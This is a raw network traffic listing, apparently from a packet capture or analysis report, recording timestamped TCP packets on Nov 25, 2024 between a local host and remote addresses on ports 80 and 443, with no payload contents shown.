Nov 25, 2024 12:08:48.136300087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.136312008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.136353970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.137144089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.137197018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.138065100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.138112068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.138127089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.138138056 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.138171911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.138185978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.138874054 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.138921976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.138926983 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.138959885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.139755011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.139811039 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.139941931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.139991045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.140619040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.140670061 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.141552925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.141565084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.141597986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.141604900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.141630888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.141645908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.141835928 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.141895056 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.141923904 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.141931057 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.141958952 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.141983032 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.142407894 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.142447948 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.142767906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.142812967 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.143235922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.143318892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.143848896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.144258022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.144306898 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.144579887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.144654036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.144953966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.144999981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.145258904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.145299911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.145864964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.145879030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.145917892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.145947933 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.146733999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.146783113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.146874905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.146981955 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.147594929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.147608042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.147650003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.147664070 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.148442030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.148521900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.148947954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.149008989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.149305105 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.149350882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.149430990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.149478912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.150209904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.150254965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.150346994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.150433064 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.151117086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.151170015 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.151257992 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.151297092 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.152053118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.152107000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.152390003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.152460098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.152872086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.152884960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.152920008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.152932882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.153687954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.153734922 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.154144049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.154194117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.154617071 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.154628992 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.154671907 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.154685020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.155441046 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.155518055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.155769110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.155829906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.156285048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.156332970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.157011986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.157061100 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.157183886 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.157227993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.157285929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.157330036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.158092022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.158222914 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.158365011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.158415079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.158970118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.158984900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.159037113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.159051895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.159800053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.159847975 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.160140991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.160197973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.160722017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.160768032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.160856962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.160904884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.161449909 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.161494017 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.161526918 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.161540031 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.161554098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.161554098 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.161566019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.161585093 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.161617041 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.162463903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.162508965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.163319111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.163331985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.163342953 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.163372993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.163398981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.164288044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.164336920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.164369106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.164561987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.165061951 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.165147066 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.165488958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.165539026 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.165873051 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.165956020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.166250944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.166299105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.166816950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.166827917 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.166881084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.167654991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.167702913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.168554068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.168565989 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.168576956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.168608904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.168638945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.169349909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.169398069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.290834904 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.290904999 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.290918112 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.290927887 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.290982008 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.304089069 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.304163933 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.304187059 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.304192066 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.304219961 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.304241896 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.320089102 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.320132017 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.320163965 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.320169926 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.320225954 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.325917959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.325978041 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.326081038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.326123953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.326231003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.326280117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.326328039 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.327157021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.327195883 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.327228069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.327228069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.328062057 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.328114986 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.328958035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.328970909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.328983068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.329011917 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.329032898 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.329715014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.329729080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.329761982 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.329775095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.330429077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.330523968 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.330600977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.330658913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.331207037 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.331296921 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.332009077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.332021952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.332034111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.332048893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.332068920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.332782984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.332828999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.333522081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.333570004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.333616018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.333628893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.333657980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.333672047 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.333683014 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.333729029 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.333765030 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.333770037 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.333794117 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.333854914 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.334467888 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.334599018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.335244894 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.335297108 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.335510969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.335568905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.335572958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.335614920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.336342096 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.336355925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.336397886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.337033987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.337045908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.337090015 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.337934017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.337981939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.338040113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.338082075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.338711023 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.338725090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.338766098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.338787079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.339795113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.339843988 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.339989901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.340029955 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.340475082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.340529919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.340709925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.340768099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.341216087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.341269016 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.341285944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.341334105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.342068911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.342080116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.342125893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.342844963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.342859983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.342909098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.343643904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.343759060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.343954086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.344038963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.344480038 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.344525099 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.344562054 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.344572067 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.344582081 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.344583988 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.344594002 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.344618082 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.344646931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.344796896 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.345366955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.345381021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.345418930 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.345993996 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.346060991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.346076012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.346386909 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.346831083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.346889019 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.347661972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.347714901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.347750902 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.347764015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.347815990 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.348973989 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.348987103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.349585056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.349643946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.349778891 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.350389004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.350406885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.350454092 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.350989103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.351036072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.351253033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.351265907 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.351304054 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.351324081 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.352072954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.352159023 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.352830887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.352881908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.352961063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.352971077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.353005886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.354526043 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.354585886 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.354617119 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.354621887 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.354660034 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.354667902 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.364252090 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.364293098 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.364327908 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.364339113 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.364352942 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.364383936 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.399620056 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:48.400499105 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:48.400523901 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:48.401706934 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:48.401711941 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:48.401781082 CET	49781	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:48.401788950 CET	443	49781	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:48.403388977 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.403434038 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.403465033 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.403470993 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.403496027 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.403517962 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.412601948 CET	443	49782	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.412816048 CET	49782	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.412837029 CET	443	49782	13.107.246.63	192.168.2.8
